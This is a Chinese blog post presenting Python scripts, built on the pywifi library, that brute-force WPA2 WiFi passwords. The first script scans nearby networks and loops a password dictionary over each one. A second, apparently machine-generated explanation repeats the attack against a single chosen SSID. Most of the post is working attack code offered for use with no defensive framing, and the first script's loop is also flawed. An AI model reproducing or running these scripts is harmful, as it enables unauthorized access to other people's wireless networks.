渗透之——爆破Wifi密码脚本

转载请注明出处:https://blog.csdn.net/l1028386804/article/details/86523441

不多说,直接上代码,有问题的问我:

#-*- coding: UTF-8 -*-
##
# Author 冰河
# Date 2019-01-17
# Description 爆破Wifi密码
##
import pywifi
from pywifi import const#引用一些定义
import time
def getwifi():
	wifi=pywifi.PyWiFi()#抓取网卡接口
	ifaces=wifi.interfaces()[0]#获取网卡
	ifaces.scan()
	bessis = ifaces.scan_results()
	list = []
	for data in bessis:
		list.append((data.ssid, data.signal))
	return len(list), sorted(list, key=lambda st: st[1], reverse=True)
def getsignal():
	while True:
		n, data = getwifi()
		time.sleep(1)
		if n is not 0:
			return data[0:10]
def ssidnamelist():
	ssidlist = getsignal()
	namelist = []
	for item in ssidlist:
		namelist.append(item[0])
	return namelist
def testwifi(ssidname,password):
	wifi=pywifi.PyWiFi()#抓取网卡接口
	ifaces=wifi.interfaces()[0]#获取网卡
	ifaces.disconnect()#断开无限网卡连接
	
	profile=pywifi.Profile()#创建wifi连接文件
	profile.ssid=ssidname#定义wifissid
	profile.auth=const.AUTH_ALG_OPEN#网卡的开放
	profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
	profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
	profile.key=password #wifi密码
	
	ifaces.remove_all_network_profiles()#删除其他所有配置文件
	tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
	
	ifaces.connect(tmp_profile)#连接wifi
	time.sleep(5)#5秒内能否连接上
	if ifaces.status()==const.IFACE_CONNECTED:
		print "[-]WiFi connection success!"
	else:
		print "[-]WiFi connection failure!"

		ifaces.disconnect()#断开连接
		time.sleep(1)

	return True
def main():
	print "  ____                _   __        _____ _____ ___ "
	print " / ___|_ __ __ _  ___| | _\ \      / /_ _|  ___|_ _|"
	print "| |   | '__/ _` |/ __| |/ /\ \ /\ / / | || |_   | | "
	print "| |___| | | (_| | (__|   <  \ V  V /  | ||  _|  | | "
	print " \____|_|  \__,_|\___|_|\_\  \_/\_/  |___|_|   |___|"
	path=r"password.txt"
	files=open(path,'r')
	while True:
			f=files.readline()
			for ssidname in ssidnamelist():
				ret=testwifi(ssidname,f)
				print 'Current WIFIname:',ssidname
				print 'Current password:',f
	files.close()
if __name__ == '__main__':
	main()

 

 

为了爆破WiFi密码,我们可以使用Python编写脚本并利用第三方模块pywifi实现。下面是一个简单的示例代码: ```python import pywifi from pywifi import const # 设置要破解WiFi名称(SSID)和密码字典文件路径 ssid = "WiFi名称" path = "密码字典文件路径" # 创建一个WiFi对象 wifi = pywifi.PyWiFi() # 获取第一个无线网卡 iface = wifi.interfaces()[0] # 断开无线网卡连接 iface.disconnect() # 开启监控 iface.scan() # 获取扫描结果 results = iface.scan_results() # 遍历扫描结果,查找要破解WiFi for res in results: if res.ssid == ssid: # 创建WiFi连接文件 profile = pywifi.Profile() profile.ssid = ssid profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = "" # 读取密码字典文件 with open(path, "r") as f: while True: # 逐行读取密码 password = f.readline().strip() if not password: break # 将密码添加到WiFi连接文件中 profile.key = password # 删除所有WiFi连接文件 iface.remove_all_network_profiles() # 添加新的WiFi连接文件 tmp_profile = iface.add_network_profile(profile) # 连接WiFi iface.connect(tmp_profile) # 判断是否成功连接WiFi if iface.status() == const.IFACE_CONNECTED: print("WiFi密码破解成功:", password) break break ``` 该脚本首先设置要破解WiFi名称和密码字典文件路径,然后创建一个WiFi对象并获取第一个无线网卡。接着断开无线网卡连接并开启监控,获取扫描结果并遍历扫描结果,查找要破解WiFi。一旦找到要破解WiFi,就创建一个WiFi连接文件并逐行读取密码字典文件中的密码,将密码添加到WiFi连接文件中并连接WiFi。如果成功连接WiFi,则输出破解成功的密码。 --相关问题--: 1. 如何安装pywifi模块? 2. 如何生成密码字典文件?
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

冰 河

可以吃鸡腿么?

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值